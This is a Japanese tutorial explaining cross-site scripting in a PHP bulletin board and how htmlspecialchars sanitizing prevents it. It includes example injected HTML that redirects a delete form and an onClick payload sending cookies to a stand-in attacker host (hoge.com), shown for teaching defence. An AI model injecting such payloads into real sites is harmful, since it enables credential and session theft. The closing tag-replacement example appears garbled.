クロスサイトスクリプティング(XSS)
クロスサイトスクリプティングとは、HTMLなどを生成するスクリプトにおいて、ユーザからの入力値をそのまま表示していると、悪意のあるユーザによりタグやクライアントスクリプトを入力され、一般のユーザーが任意のサイトに誘導され起こる危険のことです。複数のサイトをまたぐところからこのように呼ばれています。
ユーザIDやパスワードなど個人情報が盗まれるといった事故が起こります。
ページの改ざん
ユーザからの入力値をそのまま表示していると、入力された HTMLタグはそのままページの一部を構成するタグとなります。悪意のあるユーザによって本来のページとは違うものにページが改ざんされる可能性があるのです。
以下は掲示板スクリプトが出力した HTMLの一部です。投稿された記事の下に削除フォームが表示される構成になっています。入力したパスワードは自サイトの delete.php に送信されます。これが正常な状態です。
<table><!-- 記事1件 -->
<tr>
<td>タイトル</td><td>はじめまして♪</td>
</tr>
<tr>
<td>お名前</td><td>ゆうじ</td></tr>
<tr>
<td>コメント</td><td>書き込みテスト</td>
</tr>
</table>
<form method="post" action="delete.php">
<input type="hidden" name="number" value="123">
削除パスワード:<input type="password" size="8" name="password">
<input type="submit" name="action" value="削除">
</form>
このコメント(書き込みテスト)に、次のテキストが入力された場合を考えてみてください。
書き込みテスト</td>
</tr>
</table>
<form method="post" action="http://hoge.com/index.php">
<input type="hidden" name="number" value="123">
削除パスワード:<input type="password" size="8" name="password">
<input type="submit" name="action" value="削除">
</form>
<table>
<tr>
<td>タイトル</td><td>はじめまして♪</td>
</tr>
<tr>
<td>お名前</td><td>ゆうじ</td>
</tr>
<tr>
<td>コメント</td><td>書き込みテスト
ブラウザで見ると、あたかも2重投稿のように表示されますが、フォームの actionが元の URLとは違います。
入力の前にいちいち HTMソースを確認する人はそういないと思います。運悪く管理者が記事を削除しようとパスワードを入力し削除ボタンをクリックすると、フォームの値は悪意のあるユーザのサイト(http://hoge.com/index.php)に送信されます。これで削除用パスワードが盗まれてしまいました。さらに元の掲示板にリダイレクトするようにしておけば「動作がちょっと変だな?」と思う程度でパスワードを盗まれたことに気づかないかもしれません。
JavaScriptでクッキー盗聴
タグを制限していれば上記のようなページの改ざんは防げますが、Bタグひとつでも有効ならば JavaScript を入力されることが考えられます。
クッキーに保存されている情報は JavaScript で参照できます。これを利用してクッキーの情報を任意のURLに送信することが可能になります。もし個人情報を保存してあればそれが送信されてしまいます。
再び掲示板の例です。認証されたユーザだけが利用できる掲示板とします。
<table>
<tr>
<td>タイトル</td><td>はじめまして♪</td>
</tr>
<tr>
<td>お名前</td><td>ゆうじ</td>
</tr>
<tr>
<td>コメント</td><td><b onClick="document.location='http://hoge.com/getcookie.php?'+document.cookie;">クリックで100万円のチャンス!</b></td>
</tr>
</table>
Bタグに JavaScript が書き加えてあります。一般ユーザーがこの記事をクリックしたならば、任意のサイト(http://hoge.com/getcookie.php)に、クッキーの情報が送信されます。もし認証で入力したユーザーIDとパスワードがそのままクッキーに保存していると、ユーザーIDとパスワードは悪意のあるユーザーの手に渡り、盗んだユーザーIDとパスワードで『なりすまし』が成立してしまいます。
HTML特殊文字のサニタイジング(無害化)を行なう
このようにユーザーからの入力値を、そのまま表示していると、ユーザと管理者の盲点をついていくらでも悪用される可能性があります。これがクロサイトスクリプティングの危険性です。
上記2例の他にもタグやスクリプトを使って任意のサイトに誘導さえできれば、元のサイトを真似たデザインにしてあらためて個人情報を入力させるといったことも可能にしてしまいます。
対策としては、ユーザからの入力値が適切なものか確認し不正な値を受け付けなくすることでも防げますが、クロスサイトスクリプティングに限っていえば表示された際に不都合が起こるので、HTMLで特殊な意味を持つ文字を削除したり、 <, >, & などに置き換える処理を表示の直前に施す方が適切な対策といえます。
こうした特殊文字を何らかの方法で無害化してしまうことを「サニタイジング」と呼びます。PHP には HTMLの特殊文字を HTMLエンティティに変換する htmlspecialchars 関数があります。ユーザが入力した値を表示する際 htmlspecialchars でサニタイジングすればタグを無効にすることが出来ます。
<table>
<tr>
<td>タイトル</td><td><?php echo htmlspecialchars($title); ?></td>
</tr>
<tr>
<td>お名前</td><td><?php echo htmlspecialchars($name); ?></td>
</tr>
<tr>
<td>コメント</td><td><?php echo htmlspecialchars($comment); ?></td>
</tr>
</table>
もし一部のタグを許可したいのならば、一旦全てのタグをサニタイジングした後、置換え関数を使ってあらためて、<B> と </B> を、 <B> と </B> に置き換えてあげれば、Bタグだけを有効にすることが出来ます。
